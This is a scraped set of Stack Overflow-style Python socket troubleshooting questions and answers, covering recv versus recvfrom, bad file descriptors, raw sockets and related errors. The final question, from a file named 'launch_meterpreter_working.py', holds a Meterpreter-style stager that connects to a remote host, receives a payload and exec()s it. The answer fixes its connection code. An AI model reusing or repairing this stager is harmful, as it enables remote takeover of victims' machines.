Python Socket - ValueError: too many values to unpack (expected 2) - python

I am having issues with the socket only recieving data, but not the address so I cannot send packets such as an acknowledgement to the original sender. I am implementing a go-back-N with a sender and receiver.
Here is the error:
Traceback (most recent call last):
File "./netster.py", line 128, in <module>
main()
File "./netster.py", line 120, in main
run_server(args.host, int(args.port), udp=args.udp, rudp = args.rudp, filename=f)
File "./netster.py", line 27, in run_server
rudp_gobackn_recv(port, kwargs['filename'])
File "/Users/a3.py", line 352, in rudp_gobackn_recv
data, client_address = serversocket.recv(1500)
ValueError: too many values to unpack (expected 2)
Here is the receiver side of things, a code snippet showing how I initalize the packet and receive the data.
serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
serversocket.bind(('localhost', port))
...
data, client_address = serversocket.recv(1500)
This is how I set up the sender socket:
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = (host, port)
Both the sender and receiver have the address and port as
('localhost', 1234)
1234 is an arbitrary port number.
Here is how I set up the packets to send, just in case it matters, and how I send it.
for x in range(len(window), window_size):
data = file.read(data_size)
if not data:
end_bit = '1'
decoded_data = data.decode('utf-8')
packet = str(nextseqnum) + "##" + str(end_bit) + "##" + str(decoded_data)
nextseqnum = str(int(nextseqnum) + 1)
window.append(packet)
if not data:
break
Here is how I send it:
for y in range(0, len(window)):
print("Window: ", window)
print("PACKET!!!!", window[y])
packet = window[y]
p = packet.encode('utf-8')
print("Socket ouput: ", clientsocket.sendto(p, server_address))
if(y == 0):
oldest_time = time.time()
If I change the receiver code so it can compile to this:
data = serversocket.recv(1500)
The sender side of things prints out:
Window: ['1##0##abcdefghijklmnopqrstuvwxyz\n', '2##1##']
PACKET!!!! 1##0##abcdefghijklmnopqrstuvwxyz
Socket ouput: 33
Window: ['1##0##abcdefghijklmnopqrstuvwxyz\n', '2##1##']
PACKET!!!! 2##1##
Socket ouput: 6
Any thoughts on why it sends only the data, but not the server address? I've researched the issue but have had no success, as well as debugging it for awhile.

serversocket.recv(1500) only returns bytes, not data, client_address. You're looking for recvfrom.
And this should enlighten you as to why you get the error you do:
>>> data, client_address = b"hello"
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: too many values to unpack (expected 2)
>>> a, b, c, d, e = b"hello"
>>> a, b, c, d, e
(104, 101, 108, 108, 111)

Related

How do I troubleshoot this error: OSError: [Errno 9] Bad file descriptor

I am trying to figure out where the problem is coming from between my client and server files. The client receives the correct calculation done by the TCP server. However, the TCP server continues to throw an error after performing the task.
add_server.py
# This is add_server.py script
import socket
host = socket.gethostname()
port = 8096
s = socket.socket()
s.bind((host, port))
s.listen(5)
print('Waiting for connection...')
conn, addr = s.accept()
while True:
data = conn.recv(1024) # Receive data in bytes
print(data)
decoded_data = data.decode('utf-8') # Decode data from bystes to string
print(data)
d = decoded_data.split(",") # Split the received string using ',' as separator and store in list 'd'
add_data = int(d[0]) + int(d[1]) # add the content after converting to 'int'
conn.sendall(str(add_data).encode('utf-8')) # Stringify results and convert to bytes for transmission (String conversion is a must)
conn.close() # Close connection
add_client.py
# This add_client.py script
import socket
host = socket.gethostname()
port = 8096
s = socket.socket()
s.connect((host, port))
a = input('Enter first number: ')
b = input('Enter second number: ')
c = a + ', ' + b # Generate string from numbers
print('Sending string {} to sever for processing...'.format(c))
s.sendall(c.encode('utf-8')) # Converst string to bytes for transmission
data = s.recv(1024).decode('utf-8') # Receive server response (addition results) and convert from bystes to string
print(data) # Convert 'string' data to 'int'
s.close() # close connection
Full traceback
Traceback (most recent call last):
File "/home/sharhan/AWS/AWS-PERSONAL-COURSES/linux-networking-and-troubleshooting/python-networking/add_server.py", line 17, in <module>
data = conn.recv(1024) # Receive data in bytes
OSError: [Errno 9] Bad file descriptor
You are closing the socket inside the while loop in this line
while True:
data = conn.recv(1024)
# Rest of the code
conn.close()
So the next time you try to receive the data with conn.recv it results in an error.
To fix this simply close the connection after you're done receiving all the data.
while True:
data = conn.recv(1024)
# Rest of the code
conn.close()

how can i fix addr is not defined in python

I want to make a app like traceroute. I am trying to find routers IP adresses which i passed until i reach the machine and save them in my rota file. But i am taking addr is not defined error. I searched , usually they are giving addr = None but this is causing -'NoneType' object is not subscriptable- error. How can i fix it ?
This is my code:
import sys
import socket
dst = sys.argv[1]
dst_ip = socket.gethostbyname(dst)
f = open("rota.txt","w")
timeout = 0.2
max_hops = 30
ttl=1
port = 11111
while True:
receiver = socket.socket(family=socket.AF_INET,type=socket.SOCK_RAW,proto=socket.IPPROTO_ICMP)
receiver.settimeout(timeout)
receiver.bind(('',port))
sender = socket.socket(family=socket.AF_INET,type=socket.SOCK_DGRAM,proto=socket.IPPROTO_UDP)
sender.setsockopt(socket.SOL_IP, socket.IP_TTL, ttl)
sender.sendto(b'',(dst_ip,port))
try:
data, addr = receiver.recvfrom(512)
f.write('\n' + str(addr[0]))
except socket.error:
pass
finally:
receiver.close()
sender.close()
ttl += 1
if ttl > max_hops or addr[0] == dst_ip:
break
And my errors:
Traceback (most recent call last):
File "rota.py", line 33, in <module>
if ttl > max_hops or addr[0] == dst_ip:
NameError: name 'addr' is not defined

Get a response fro server

I'm trying to make a server-client program, where server will listen to client's messages and depends on the message, will response. I send a message from client with username and content, server accept it and print a message to sending to client Till here is everything fine. But when it comes to sending a message server will throw and error:
`TypeError: byte indices must be integers or slices, not str`
It looks like this line is the problem, but I'm not sure....
`clientsocket.send(msg['header'] + msg['data'])`
here is a whole server code. Please let me know, if client code is necessary too please.
import socket
import time
import pickle
import select
HEADERSIZE = 10
IP = "127.0.0.1"
PORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((IP, PORT))
s.listen()
sockets_list = [s]
clients = {}
# Handles message receiving
def receive_message(clientsocket):
try:
message_header = clientsocket.recv(HEADERSIZE)
if not len(message_header):
return False
message_length = int(message_header.decode('utf-8').strip())
return {'header': message_header, 'data': clientsocket.recv(message_length)}
except:
return False
while True:
read_sockets, _, exception_socket = select.select(sockets_list, [], sockets_list)
for notified_socket in read_sockets:
if notified_socket == s:
clientsocket, address = s.accept()
user = receive_message(clientsocket)
if user is False:
continue
sockets_list.append(clientsocket)
clients[clientsocket] = user
print(f"Connection from {address[0]}:{address[1]} has been estabilished! User:{user['data'].decode('utf-8')}")
else:
message = receive_message(notified_socket)
if message is False:
print(f"Close connection from {clients[notified_socket]['data'].decode('utf-8')}")
sockets_list.remove(notified_socket)
del clients[notified_socket]
continue
user = clients[notified_socket]
#message_decoded = message['data'].decode('utf-8')
print(f'Received message from {user["data"].decode("utf-8")}: {message["data"].decode("utf-8")}')
for clientsocket in clients:
if clientsocket == notified_socket:
if message["data"].decode("utf-8") == "y":
#d = {1: "Hey", 2: "there"}
msg = pickle.dumps("th.jpeg")
print(msg)
msg = bytes(f'{len(msg):<{HEADERSIZE}}', "utf-8") + msg
clientsocket.send(msg['header'] + msg['data'])
else:
d = {1: "Hey", 2: "there"}
msg = pickle.dumps(d)
print(msg)
# msg = bytes(f'{len(msg):<{HEADERSIZE}}', "utf-8") + msg
clientsocket.send(msg['header'] + msg['data'])
for notified_socket in exception_socket:
sockets_list.remove(notified_socket)
del clients[notified_socket]
HERE is a whole error code:
Connection from 127.0.0.1:48480 has been estabilished! User:j
Received message from j: y
b'\x80\x03X\x07\x00\x00\x00th.jpegq\x00.'
Traceback (most recent call last):
File "server.py", line 69, in <module>
clientsocket.send(msg['header'] + msg['data'])
TypeError: byte indices must be integers or slices, not str
As You can see, it works till sending the message line
msg = pickle.dumps("th.jpeg") will encode the string "th.jpeg" as a bytes-object.
msg = bytes(f'{len(msg):<{HEADERSIZE}}', "utf-8") + msg just adds that bytes object to another bytes-object.
So msg is a simple bytes-object, not any kind of server packet or similar. Therefor it is not possible to subscribe msg with msg['header'] or any other string.
Your code seems a little weird but maybe just try this line:
clientsocket.send(msg)
Since you are already converting msg to a bytes-object, it can be sent to the client directly. You just have to decode it properly in the client.

Python socket.error

I found this script on aaronbell.com with which I´m trying to use my Dashbutton to connect to IFTTT. My Pi is throwing this error:
Traceback (most recent call last):
File "dash.py", line 30, in <module>
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
and here is my script:
import socket
import struct
import binascii
import time
import json
import urllib2
ifttt_key = 'loremipsum'
ifttt_url_button = 'https://maker.ifttt.com/trigger/button_was_pressed/with/key/' + ifttt_key
macs = {
'AC63BEBA94E1' : 'MiXT4Pi'
}
def trigger_url(url):
data = '{ "value1" : "' + time.strftime("%Y-%m-%d") + '", "value2" : "' + time.strftime("%H:%M") + '" }'
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
f = urllib2.urlopen(req)
response = f.read()
f.close()
return response
def button_was_pressed():
print 'triggering button event, response: ' + trigger_url(ifttt_url_button)
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
while True:
packet = rawSocket.recvfrom(2048)
ethernet_header = packet[0][0:14]
ethernet_detailed = struct.unpack("!6s6s2s", ethernet_header)
# skip non-ARP packets
ethertype = ethernet_detailed[2]
if ethertype != '\x08\x06':
continue
# read out data
arp_header = packet[0][14:42]
arp_detailed = struct.unpack("2s2s1s1s2s6s4s6s4s", arp_header)
source_mac = binascii.hexlify(arp_detailed[5])
source_ip = socket.inet_ntoa(arp_detailed[6])
dest_ip = socket.inet_ntoa(arp_detailed[8])
if source_mac in macs:
#print "ARP from " + macs[source_mac] + " with IP " + source_ip
if macs[source_mac] == 'MiXT4Pi':
button_was_pressed()
else:
print "Unknown MAC " + source_mac + " from IP " + source_ip
I tried changing line 30 to:
rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0003))
but a similar error occures:
Traceback (most recent call last):
File "dash.py", line 30, in <module>
rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0003))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 22] Invalid argument
Thanks in advance for your help!
CHANGE THE LINE
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
TO THIS
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 0)
This will work.
First, domain should be set to "AF_INET", just like in the struct sockaddr_in (above.) Next, the type argument tells the kernel what kind of socket this is: SOCK_STREAM or SOCK_DGRAM. Finally, just set protocol to "0" to have socket() choose the correct protocol based on the type. (Notes: there are many more domains than I've listed. There are many more types than I've listed. See the socket() man page. Also, there's a "better" way to get the protocol. See the getprotobyname() man page.)

how can i struct.unpack use domain name in place of ip in socket.connect remotely

I have the following code, when i use it using an the external ip directly it works just fine but when i change the ip to a domain provided by dyndns it fails and throws the error listed below.
import socket,struct
# Connect with hostname
# dgts = socket.gethostbyname('chxxxmaz.dyndns.biz')
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(("'" + dgts + "'", 1604))
# Connect with IP
s = socket.socket(2, 1)
s.connect(('197.xxx.xxx.45', 1604))
# Receive data
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
d += s.recv(4096)
exec(d, {'s': s})
The error message:
Traceback (most recent call last):
File "/home/elite/Desktop/launch_meterpreter_working.py", line 8, in <module>
l=struct.unpack('>I',s.recv(4))[0]
error: unpack requires a string argument of length 4
There is no need to manually resolve the hostname, you can simply use it when connecting the socket.
Your problem comes from the quotes that you add when you connect (why "'" + dgts + "'"?)
import socket, struct
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chxxxmaz.dyndns.biz', 1604))
# Receive data
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
d += s.recv(4096)
exec(d, {'s': s})

Categories

Resources